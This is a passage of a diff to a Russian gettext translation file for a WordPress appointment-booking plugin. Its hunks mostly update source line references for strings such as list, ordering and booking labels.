 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr ""
 
@@ -1663,30 +1653,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr ""
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr ""
 
@@ -1694,7 +1684,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr ""
 
@@ -1708,8 +1698,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Места"
 
@@ -1717,8 +1707,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr ""
 
@@ -1731,9 +1721,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr ""
 
@@ -1751,10 +1741,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr "Количество столбцов"
 
@@ -1772,10 +1762,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr ""
 
@@ -1789,10 +1779,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr "Упорядочить по"
 
@@ -1806,10 +1796,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr "Без сортировки"
 
@@ -1820,9 +1810,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr "ID записи"
 
@@ -1833,9 +1823,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr "Автор записи"
 
@@ -1849,9 +1839,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Название заголовка"
 
@@ -1862,9 +1852,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr "Имя записи (слаг записи)"
 
@@ -1875,9 +1865,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr "Дата записи"
 
@@ -1888,9 +1878,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr "Дата последнего изменения"
 
@@ -1901,9 +1891,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr "Случайный порядок"
 
@@ -1914,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr "Релевантность"
 
@@ -1930,10 +1920,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Порядок страницы"
 
@@ -1944,9 +1934,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr ""
 
@@ -1966,10 +1956,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr "Порядок"
 
@@ -1981,10 +1971,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr ""
 
@@ -1998,24 +1988,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr ""
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr ""
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr ""
 
@@ -2023,7 +2013,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr ""
 
@@ -2045,9 +2035,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Категории"
 
@@ -2063,9 +2053,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr ""
 
@@ -2075,26 +2065,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr ""
 
@@ -2102,14 +2092,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr ""
 
@@ -2117,21 +2107,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr ""
 
@@ -2139,14 +2129,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr ""
 
@@ -2154,56 +2144,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "ID термина"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "Родительский ID"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr ""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr ""
 
@@ -2211,35 +2201,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr ""
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr ""
 
@@ -2247,7 +2237,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr ""
 
@@ -2255,7 +2245,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr ""
 
@@ -2263,7 +2253,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Теги"
 
@@ -2362,7 +2352,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr ""
 
@@ -2620,10 +2610,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr ""
 
@@ -2843,11 +2833,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr ""
@@ -2909,13 +2899,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Весь день"
@@ -2924,12 +2914,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Удалить"
 
@@ -3036,7 +3026,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3259,11 +3249,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr "Свободно"
@@ -3348,33 +3338,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr "Купон"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Детали оплаты"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr ""
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Бронирование #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -3950,38 +3940,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr ""
 
